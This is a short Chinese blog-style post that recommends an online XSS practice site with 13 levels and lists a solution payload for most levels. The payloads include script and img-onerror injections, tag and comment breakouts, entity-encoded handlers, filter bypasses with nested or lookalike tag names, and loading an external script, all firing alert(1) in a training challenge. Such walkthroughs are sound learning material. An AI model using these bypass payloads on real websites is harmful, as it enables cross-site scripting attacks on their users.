推荐一个XSS在线练习小网站，一共13关。 https://xss.haozi.me
以下是题解
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<script>alert(1);</script>

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</textarea><script>alert(1);</script>

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"><script>alert(1);</script>

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<script>alert1;</script>

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<img src="" onerror=alert&#x28;&#x31;&#x29;>

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--!><script>alert(1)</script>

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type="image" src="" onerror
=alert(1)
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<img src="" onerror=alert(1) 注意末尾有空格

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</style ><script>alert(1);</script>

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https://www.segmentfault.com/"></script><img src="" οnerrοr=alert(1)<"

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https://www.segmentfault.com@https://www.segmentfault.com.haozi.me/j.js

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<img src="" onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

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<sscriptcript src=https://www.segmentfault.com.haozi.me/j.js></sscriptcript>

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注意：第一行换行


alert(1);
-->
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<ſcript src="" onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)></script>

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'); alert(1); //

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'';alert(1);

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"); alert("1

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</script> <script>alert(1)</script><script>